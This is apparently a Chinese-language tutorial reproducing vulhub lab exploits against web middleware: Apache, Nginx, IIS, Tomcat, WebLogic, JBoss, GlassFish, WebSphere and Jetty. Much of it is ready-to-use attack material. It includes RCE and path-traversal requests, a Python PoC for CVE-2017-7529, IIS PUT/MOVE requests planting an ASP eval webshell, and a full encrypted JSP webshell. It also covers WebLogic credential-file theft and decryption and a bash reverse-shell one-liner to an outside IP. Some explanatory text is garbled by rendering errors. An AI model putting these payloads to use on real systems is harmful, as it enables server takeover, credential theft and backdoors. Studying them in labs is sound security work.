中间件安全
- vulhub漏洞复现:https://vulhub.org/
- 操作教程:https://www.freebuf.com/sectool/226207.html
一、Apache
- Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。
- Apache是用C语言开发的基于模块化设计的web应用,核心代码不多。多数功能分散在各个模块中
1.Apache 解析漏洞(CVE-2017-15715)
-
影响版本:2.4.0~2.4.29
-
漏洞原理:apache这次解析漏洞的根本原因就是这个 ∗ ∗ ,正则表达式中,我们都知道 ** ,正则表达式中,我们都知道 ∗∗,正则表达式中,我们都知道用来匹配字符串结尾位置**
$符号: 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' 或 '\r' 要匹配 $ 字符本身,请使用\$ 如果设置MULTILINE标示,就当作换符处理,如果不设置就当作一行文本处理
-
本次实验是vulhub下的,所以找到apache配置文件,路径在/etc/apache2/ 下, apache2.conf 是apache核心配置文件查看其文件发现如下代码:意思是包含这两个文件下的以conf结尾的文件
IncludeOptional confenabled/*.conf IncludeOptional sitesenabled/*.conf
-
跟进该文件发现关于php的配置文件为docker-php.conf,打开为如下
<FilesMatch \.php$> SetHandler application/xhttpdphp </FilesMatch>
-
可以看到在正则中是 .php , 因为结尾有个 ,因为结尾有个 ,因为结尾有个符号,结合上述原理,$匹配 ‘\n’ 或 ‘\r’,所以我们修改数据包在文件名后加\n,\n的十六进制为0a
-
首先查看index.php文件中的php源码
<?php if(isset($_FILES['file'])) { $name = basename($_POST['name']); $ext = pathinfo($name,PATHINFO_EXTENSION); if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) { exit('bad file'); } move_uploaded_file($_FILES['file']['tmp_name'], './' . $name); } else { ?>
- 分析代码文件名KaTeX parse error: Undefined control sequence: \n at position 53: …POST接收不会去掉我们添加的\̲n̲,如果使用_FILES[‘file’][‘name’] 去接收文件名,则会吧\n去掉,所以要满足此漏洞的条件之一就是使用POST接收文件名。
- $ext等于POST中的文件名后缀,所以文件名不能是[‘php’, ‘php3’, ‘php4’, ‘php5’, ‘phtml’, ‘pht’],但是可以是php\n的这种方式,就绕过了if判断。同时这样的文件还以被解析成PHP
-
上传一个名为1.php的文件,被拦截:
-
在1.php后面插入一个
\x0A
(注意,不能是\x0D\x0A
,只能是一个\x0A
),不再拦截 -
关于windows和Linux下这个利用是有区别的
- linux:可以正常利用
- windows:windows会产生warning的警告,因为涉及到文件读写,而windows操作系统不允许后缀以换行符结尾的文件命名方式,所以这里会文件会创建失败,就出现了这两个warning了,产生warning就证明已将绕过了。
2.RCE(CVE-2021-42013)
-
影响版本:Apache 2.4.49 和 Apache 2.4.50
-
打开靶场
-
任意命令执行
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 Host: 47.99.49.128:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=AE8DC398D32400BA213293A544A573BA Upgrade-Insecure-Requests: 1 If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT If-None-Match: "2d-432a5e4a73a80" Content-Length: 7 echo;id
3.路径穿越漏洞(CVE-2021-41773)
-
影响版本:Apache 2.4.49 和 Apache 2.4.50
-
打开靶场
-
文件读取
/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
二、Nginx
- Nginx是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务
1.解析漏洞(CVE-2013-4547)
-
漏洞原因:PHP配置文件中有一个参数是cgi.fix_pathinfo,如果参数cgi.fix_pathinfo=1,则产生该漏洞。关闭pathinfo的情况下,只有.php后缀的文件才会被发送给fastcgi解析。而存在CVE-2013-4547的情况下,我们请求
1.gif[0x20][0x00].php
,这个URI可以匹配上正则 .php$,可以进入这个Location块;但进入后,由于fastcgi在查找文件时被\0截断,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi -
打开靶场
-
上传一个jpg文件,后面命名加一个空格
-
访问上传文件
phpinfoa.gif[0x20][0x20].php
时,将文件修改为phpinfoa.gif[0x20][0x00].php
;[0x20]为空格,[0x00]为\0(起到截断作用)
2.整数溢出漏洞(CVE-2017-7529)
-
影响版本 Nginx 0.5.6 – 1.13.2
-
原理
- Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。
- 如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
- 如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。
- 如果构造了两个负的位置,将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
-
打开靶场
-
POC
import requests import time import urllib3 def cve20177529(): try: # 构造请求头 headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36" } url = input('请输入目标URL:') # 获取正常响应的返回长度 #verify=False防止ssl证书校验,allow_redirects=False,防止跳转导致误报的出现 r1 = requests.get(url,headers=headers,verify=False,allow_redirects=False) url_len = len(r1.content) # 将数据长度加长,大于返回的正常长度 addnum = 200 final_len = url_len + addnum # 构造Range请求头,并加进headers中 # headers['Range'] = "bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len) headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36", 'Range':"bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len) } # 用构造的新的headers发送请求包,并输出结果 r2 = requests.get(url, headers=headers,verify=False,allow_redirects=False) text = r2.text code = r2.status_code if ('ETag') in text and code == 206: print('存在Nginx整数溢出漏洞(CVE-2017-7529),已输出到cve20177529_log.txt') # 将结果输出到文本上 with open('cve20177529_log.txt','a',encoding="utf-8") as f: f.write('存在Nginx整数溢出漏洞(CVE-2017-7529)-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text) f.close else: print('未检测到漏洞') # 将结果输出到文本上 with open('cve20177529_log.txt','a',encoding="utf-8") as f: f.write('未检测到漏洞-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text) f.close except Exception as result: print(result) if __name__ == "__main__": urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) cve20177529()
存在Nginx整数溢出漏洞(CVE-2017-7529)-------------2024-01-20 15:27:15------------- --00000000000000000002 Content-Type: text/html; charset=utf-8 Content-Range: bytes -200-611/612 , 20 Jan 2024 07:24:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 612 Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT Connection: close ETag: "59526062-264" Accept-Ranges: bytes <!DOCTYPE html> <html> <head> <title>Welcome to nginx!</title> <style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } </style> </head> <body> <h1>Welcome to nginx!</h1> <p>If you see this page, the nginx web server is successfully installed and working. Further configuration is required.</p> <p>For online documentation and support please refer to <a href="http://nginx.org/">nginx.org</a>.<br/> Commercial support is available at <a href="http://nginx.com/">nginx.com</a>.</p> <p><em>Thank you for using nginx.</em></p> </body> </html> --00000000000000000002 Content-Type: text/html; charset=utf-8 Content-Range: bytes -9223372036854774384-611/612
3.解析漏洞(nginx_parsing_vulnerability)
-
一些配置错误的情况,与nginx、php版本无关;security.limit_extensions被设置为了空,故什么文件都是可以执行的,所以在防护的时候,需要将这个配置为
.php
(即:仅为.php的文件才能执行) -
打开靶场
-
上传图片马,然后在访问返回的路径后面加上/.php
三、IIS
- Internet Information Services(IIS,以前称为Internet Information Server)互联网信息服务是Microsoft公司提供的可扩展Web服务器,支持HTTP、HTTP/2、HTTPS、FTP、FTPS、SMTP和NNTP等。起初用于Windows NT系列,随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行,但在Windows XP Home版本上并没有IIS。IIS目前只适用于Windows系统,不适用于其他操作系统
- IIS默认的可执行文件除了asp还包含这三种 .asa .cer .cdx
1.短文件名漏洞
-
IIS短文件名有以下几个特征:
- 只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)
- 后缀名最长只有3位,多余的被截断,超过3位的长文件会生成短文件名
- 所有小写字母均转换成大写字母
- 长文件名中含有多个“.”,以文件名最后一个“.”作为短文件名后缀
- 长文件名前缀/文件夹名字符长度符合0-9和Aa-Zz范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件
-
受影响版本
IIS 1.0,Windows NT 3.51 IIS 3.0,Windows NT 4.0 Service Pack 2 IIS 4.0,Windows NT 4.0选项包 IIS 5.0,Windows 2000 IIS 5.1,Windows XP Professional和Windows XP Media Center Edition IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition IIS 7.0,Windows Server 2008和Windows Vista IIS 7.5,Windows 7(远程启用<customErrors>或没有web.config) IIS 7.5,Windows 2008(经典管道模式) 注意:IIS使用.Net Framework 4时不受影响
-
工具利用
iis_shortname_Scan python iis_shortname_Scan.py url
2.上传解析漏洞
-
目录解析:以xx.asp命名的文件夹里的文件都将会被当成ASP文件执行
-
创建一个glc.asp文件,查看显示效果
<%=now() %>
-
修改为glc.txt,查看一下,代码并没有解析
-
将glc.txt放在名为glc.asp的目录下,然后访问glc.txt,发现代码被成功解析
-
-
文件解析:
xx.asp;.jpg
像这种文件名在;后面的直接被忽略,也就是说当成xx.asp文件执行-
创建一个glc.asp;.jpg文件,代码被成功解析
-
3.IIS PUT漏洞
-
漏洞造成原因
IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成任意文件上传
-
把WebDAV设置为允许、然后网站主目录下设置可写入权限
-
使用IISPutScanner工具查看是否存在put漏洞
-
将
GET
修改为OPTIONS
查看可执行命令 -
使用PUT方法上传名为glc.txt的一句话mua,然后用MOVE方法更改文件名为glc.asp
<%eval request("glc")%>
PUT /glc.txt HTTP/1.1 Host: 192.168.80.152 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: ASPSESSIONIDSQQADAAC=FCLNHIICBNNOGELHGDJPBOGM Upgrade-Insecure-Requests: 1 Content-Length: 23 <%eval request("glc")%>
MOVE /glc.txt HTTP/1.1 Host: 192.168.80.152 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: ASPSESSIONIDSQQADAAC=FCLNHIICBNNOGELHGDJPBOGM Upgrade-Insecure-Requests: 1 Content-Length: 23 Destination: /glc.asp;.jpg <%eval request("glc")%>
-
或者使用工具
四、Tomcat
- Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选
- 当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的
1.Tomcat常见漏洞
Tomcat AJP 文件包含漏洞
Tomcat弱口令
Tomcat反序列化漏洞(CVE-2016-8735)
Tomcat本地提权漏洞(CVE-2016-1240)
Tomcat之JMX服务弱口令漏洞
Tomcat的PUT的上传漏洞(CVE-2017-12615)
Tomcat win版默认空口令漏洞(CVE-2009-3548)
Tomcat 样例目录session操控漏洞
2.弱口令+后台拿shell
-
打开靶场
-
使用弱口令登录后台
:8080/manager/html tomcat:tomcat
-
将jsp马压缩为.war,完成后上传
jar -cvf shell.war shell.jsp
-
完成上传,连接shell
3、PUT上传漏洞(CVE-2017-12615)
-
在Tomcat配置文件设置了PUT上传方法,在 web.xml 文件,可以发现,默认 readonly 为 true,当 readonly设置为 false 时,可以通过 PUT / DELETE 进行文件操控
-
打开靶场
-
发送数据包,虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/ )来绕过了限制
PUT /glc.jsp/ HTTP/1.1 Host: 47.99.49.128:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache Content-Length: 612 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
-
连接shell
五、weblogic
- WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVA EE架构的中间件
- WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
1.weblogic常见漏洞
#控制台路径泄露
Weakpassword 弱口令
weblogic SSRF (CVE20144210)漏洞
weblogic 反序列化(CVE20154852)
weblogic 反序列化(CVE20160638)
weblogic 反序列化(CVE20163510)
weblogic 反序列化(CVE20173248)
weblogic 反序列化(CVE20182628)
weblogic 反序列化(CVE20182893)
weblogic 文件上传(CVE20182894)
weblogic XMLDecoder反序列化(CVE201710271)
weblogic XMLDecoder反序列化(CVE20173506)
weblogic 未授权访问CVE202014883(CVE202014882)
2.weblogic文件读取漏洞
-
文件路径:weblogic/weak_password
-
版本信息
Weblogic版本:10.3.6(11g) Java版本:1.6
-
环境启动后,访问
http://your-ip:7001/console
,即为weblogic后台 -
弱口令:本环境存在弱口令
账号:weblogic 密码:Oracle@123
-
任意文件读取漏洞的利用
-
本环境前台模拟了一个任意文件下载漏洞,访问
/hello/file.jsp?path=/etc/passwd
可见成功读取passwd文件 -
读取后台用户密文与密钥文件
-
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为
SerializedSystemIni.dat
和config.xml
,在本环境中为./security/SerializedSystemIni.dat
和./config/config.xml
(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain
) -
SerializedSystemIni.dat
是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件/hello/file.jsp?path=security/SerializedSystemIni.dat
-
config.xml
是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>
的值,即为加密后的管理员密码,不要找错了/hello/file.jsp?path=config/config.xml
-
-
解密密文
- 然后使用本环境的decrypt目录下的weblogic_decrypt.jar,解密密文
- 可见,解密后和我预设的密码一致,说明成功
-
3.远程代码执行 (CVE-2018-2893)
-
影响范围
Oracle WebLogic Server 10.3.6.0 Oracle WebLogic Server 12.1.3.0 Oracle WebLogic Server 12.2.1.2 Oracle WebLogic Server 12.2.1.3
-
打开靶场
-
工具梭哈
-
反弹shell
4.远程代码执行 (CVE-2020-14883)
-
影响版本
weblogic 10.3.6.0.0 weblogic 12.1.3.0.0 weblogic 12.2.1.3.0 weblogic 12.2.1.4.0 weblogic 14.1.1.0.0
-
启动靶场
-
直接梭哈
六、Jboss
- 通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这几个,Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器
- fofa语法:“JBoss” && title==“Welcome to JBoss™”
1.CVE-2017-12149
-
影响的版本:5.x和6.x
-
打开靶场
-
由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码
bash -i >& /dev/tcp/120.46.39.241/8848 0>&1 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDYuMzkuMjQxLzg4NDggMD4mMQ==
-
工具梭哈
https://github.com/yunxu1/jboss-_CVE-2017-12149
七、GlassFish
- GlassFish 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改
- fofa搜索语法:“glassfish” && port=“4848”
- 默认端口:4848
1.任意文件读取(CVE-2017-1000028)
-
影响版本:Oracle GlassFish Server Open Source Edition 4.1版本
-
打开靶场
-
POC
-
读密码
/theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile
-
读windows文件
/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
-
读linux文件
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
-
八、WebSphere
-
WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件
-
端口:9080—web(http)应用访问端口、9443—web(https)应用访问端口、9060—管理后台访问端口、9043—管理控制台安全端口、8880—SOAP连接器端口等等
-
漏洞探测在8880端口,后台是9060端口,解析是9080端口
-
fofa语法:
“websphere” && server==“WebSphere Application Server/7.0” && port=“8880”
“websphere” && server==“WebSphere Application Server/7.0” && port=“9060”
1.反序列化(CVE-2015-7450)
-
漏洞影响版本
IBM Websphere Application Server 7.0
IBM Websphere Application Server 6.2 -
启动环境
拉取镜像:docker pull iscrosales/websphere7 启动镜像:docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
-
漏洞页面
-
工具梭哈
2.弱口令上传功能拿shell
-
发现漏洞
-
访问控制页面,输入admin登录
:9060/ibm/console/
-
生成mua,压缩为zip文件,然后修改后缀为.war,点击上传
-
一直点next,然后设置路径
-
点击完成,然后选择save
-
启用我们上传的文件
-
访问文件需要到特定的访问端口:9080—web(http)应用访问端口、9443—web(https)应用访问端口
九、Jetty
- Elipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。
1.敏感信息泄露
-
CVE-2021-28164
信息泄露路径:http://目标ip:端口/%2e/WEB-INF/web.xml
-
CVE-2021-28169
信息泄露路径:http://目标ip:端口/static?/WEB-INF/web.xml
-
CVE-2021-34429
信息泄露路径:http://目标ip:端口/%u002e/WEB-INF/web.xml